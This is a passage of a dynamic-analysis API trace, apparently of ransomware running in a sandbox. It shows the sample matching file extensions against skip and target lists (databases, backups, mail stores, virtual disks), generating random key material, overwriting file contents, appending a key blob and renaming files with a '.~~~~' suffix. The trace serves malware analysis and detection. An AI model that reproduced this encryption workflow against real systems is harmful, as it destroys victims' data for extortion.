	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".SQB") returned 0x0
	[0141.233] lstrlenW (lpString=".vhd") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".vhd") returned 0x0
	[0141.233] lstrlenW (lpString=".bac") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".bac") returned 0x0
	[0141.233] lstrlenW (lpString=".mdf") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".mdf") returned 0x0
	[0141.233] lstrlenW (lpString=".BAK") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".BAK") returned 0x0
	[0141.233] lstrlenW (lpString=".BAC") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".BAC") returned 0x0
	[0141.233] lstrlenW (lpString=".dbs") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dbs") returned 0x0
	[0141.233] lstrlenW (lpString=".vhdx") returned 5
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.233] lstrlenW (lpString=".NDF") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".NDF") returned 0x0
	[0141.233] lstrlenW (lpString=".dat") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dat") returned 0x0
	[0141.234] lstrlenW (lpString=".DBS") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DBS") returned 0x0
	[0141.234] lstrlenW (lpString=".CKP") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".CKP") returned 0x0
	[0141.234] lstrlenW (lpString=".edb") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".edb") returned 0x0
	[0141.234] lstrlenW (lpString=".PST") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".PST") returned 0x0
	[0141.234] lstrlenW (lpString=".dbf") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dbf") returned 0x0
	[0141.234] lstrlenW (lpString=".SQL") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".SQL") returned 0x0
	[0141.234] lstrlenW (lpString=".pst") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".pst") returned 0x0
	[0141.234] lstrlenW (lpString=".dbv") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dbv") returned 0x0
	[0141.234] lstrlenW (lpString=".SDF") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".SDF") returned 0x0
	[0141.234] lstrlenW (lpString=".dtxs") returned 5
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.234] lstrlenW (lpString=".db3") returned 4
	[0141.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".db3") returned 0x0
	[0141.234] lstrlenW (lpString=".OST") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".OST") returned 0x0
	[0141.235] lstrlenW (lpString=".dbx") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dbx") returned 0x0
	[0141.235] lstrlenW (lpString=".DB3") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DB3") returned 0x0
	[0141.235] lstrlenW (lpString=".DAT") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DAT") returned 0x0
	[0141.235] lstrlenW (lpString=".VHDX") returned 5
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.235] lstrlenW (lpString=".ndf") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".ndf") returned 0x0
	[0141.235] lstrlenW (lpString=".DB") returned 3
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DB") returned 0x0
	[0141.235] lstrlenW (lpString=".sql") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".sql") returned 0x0
	[0141.235] lstrlenW (lpString=".MYD") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".MYD") returned 0x0
	[0141.235] lstrlenW (lpString=".DBT") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DBT") returned 0x0
	[0141.235] lstrlenW (lpString=".ACCDB") returned 6
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.235] lstrlenW (lpString=".fdb") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".fdb") returned 0x0
	[0141.235] lstrlenW (lpString=".bak") returned 4
	[0141.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".bak") returned 0x0
	[0141.235] lstrlenW (lpString=".myd") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".myd") returned 0x0
	[0141.236] lstrlenW (lpString=".DTXS") returned 5
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.236] lstrlenW (lpString=".ckp") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".ckp") returned 0x0
	[0141.236] lstrlenW (lpString=".dbt") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dbt") returned 0x0
	[0141.236] lstrlenW (lpString=".db") returned 3
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".db") returned 0x0
	[0141.236] lstrlenW (lpString=".TXT") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".TXT") returned 0x0
	[0141.236] lstrlenW (lpString=".MDF") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".MDF") returned 0x0
	[0141.236] lstrlenW (lpString=".bdb") returned 4
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".bdb") returned 0x0
	[0141.236] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.237] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395498) returned 1
	[0141.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.238] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.238] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26122809435) returned 1
	[0141.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd97bc30, dwHighDateTime=0x1d60e1e)) 
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b24e0
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24e0 | out: hHeap=0x300000) returned 1
	[0141.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae6c8
	[0141.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae6c8 | out: hHeap=0x300000) returned 1
	[0141.239] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.239] GetLastError () returned 0x0
	[0141.239] GetLastError () returned 0x0
	[0141.239] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.239] GetLastError () returned 0x0
	[0141.239] GetLastError () returned 0x0
	[0141.240] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x7d5b, lpOverlapped=0x0) returned 1
	[0141.242] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff82a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.242] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x7d5b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x7d5b, lpOverlapped=0x0) returned 1
	[0141.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.242] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.242] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.242] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.242] CloseHandle (hObject=0xc4) returned 1
	[0141.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae6c8
	[0141.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif.~~~~")) returned 1
	[0141.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae6c8 | out: hHeap=0x300000) returned 1
	[0141.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.245] GetLastError () returned 0x0
	[0141.245] RtlWakeConditionVariable () returned 0x0
	[0141.245] GetCurrentThreadId () returned 0x3a4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".scr") returned 0x0
	[0141.245] lstrlenW (lpString=".cmd") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".cmd") returned 0x0
	[0141.245] lstrlenW (lpString=".dll") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dll") returned 0x0
	[0141.245] lstrlenW (lpString=".bat") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".bat") returned 0x0
	[0141.245] lstrlenW (lpString=".cpl") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".cpl") returned 0x0
	[0141.245] lstrlenW (lpString=".sys") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".sys") returned 0x0
	[0141.245] lstrlenW (lpString=".msc") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".msc") returned 0x0
	[0141.245] lstrlenW (lpString=".com") returned 4
	[0141.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".com") returned 0x0
	[0141.245] lstrlenW (lpString=".lnk") returned 4
	[0141.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".lnk") returned 0x0
	[0141.246] lstrlenW (lpString=".msp") returned 4
	[0141.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".msp") returned 0x0
	[0141.246] lstrlenW (lpString=".pif") returned 4
	[0141.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".pif") returned 0x0
	[0141.246] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.248] lstrlenW (lpString=".sqb") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".sqb") returned 0x0
	[0141.248] lstrlenW (lpString=".ost") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".ost") returned 0x0
	[0141.248] lstrlenW (lpString=".txt") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".txt") returned 0x0
	[0141.248] lstrlenW (lpString=".mdt") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".mdt") returned 0x0
	[0141.248] lstrlenW (lpString=".BDB") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".BDB") returned 0x0
	[0141.248] lstrlenW (lpString=".eql") returned 4
	[0141.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".eql") returned 0x0
	[0141.248] lstrlenW (lpString=".DBF") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DBF") returned 0x0
	[0141.249] lstrlenW (lpString=".EQL") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".EQL") returned 0x0
	[0141.249] lstrlenW (lpString=".FDB") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".FDB") returned 0x0
	[0141.249] lstrlenW (lpString=".EDB") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".EDB") returned 0x0
	[0141.249] lstrlenW (lpString=".DACPAC") returned 7
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.249] lstrlenW (lpString=".VHD") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".VHD") returned 0x0
	[0141.249] lstrlenW (lpString=".DBV") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DBV") returned 0x0
	[0141.249] lstrlenW (lpString=".dacpac") returned 7
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.249] lstrlenW (lpString=".sdf") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".sdf") returned 0x0
	[0141.249] lstrlenW (lpString=".accdb") returned 6
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".accdb") returned 0x0
	[0141.249] lstrlenW (lpString=".DBX") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DBX") returned 0x0
	[0141.249] lstrlenW (lpString=".MDT") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".MDT") returned 0x0
	[0141.249] lstrlenW (lpString=".SQB") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".SQB") returned 0x0
	[0141.249] lstrlenW (lpString=".vhd") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".vhd") returned 0x0
	[0141.249] lstrlenW (lpString=".bac") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".bac") returned 0x0
	[0141.249] lstrlenW (lpString=".mdf") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".mdf") returned 0x0
	[0141.249] lstrlenW (lpString=".BAK") returned 4
	[0141.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".BAK") returned 0x0
	[0141.250] lstrlenW (lpString=".BAC") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".BAC") returned 0x0
	[0141.250] lstrlenW (lpString=".dbs") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dbs") returned 0x0
	[0141.250] lstrlenW (lpString=".vhdx") returned 5
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.250] lstrlenW (lpString=".NDF") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".NDF") returned 0x0
	[0141.250] lstrlenW (lpString=".dat") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dat") returned 0x0
	[0141.250] lstrlenW (lpString=".DBS") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DBS") returned 0x0
	[0141.250] lstrlenW (lpString=".CKP") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".CKP") returned 0x0
	[0141.250] lstrlenW (lpString=".edb") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".edb") returned 0x0
	[0141.250] lstrlenW (lpString=".PST") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".PST") returned 0x0
	[0141.250] lstrlenW (lpString=".dbf") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dbf") returned 0x0
	[0141.250] lstrlenW (lpString=".SQL") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".SQL") returned 0x0
	[0141.250] lstrlenW (lpString=".pst") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".pst") returned 0x0
	[0141.250] lstrlenW (lpString=".dbv") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dbv") returned 0x0
	[0141.250] lstrlenW (lpString=".SDF") returned 4
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".SDF") returned 0x0
	[0141.250] lstrlenW (lpString=".dtxs") returned 5
	[0141.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.251] lstrlenW (lpString=".db3") returned 4
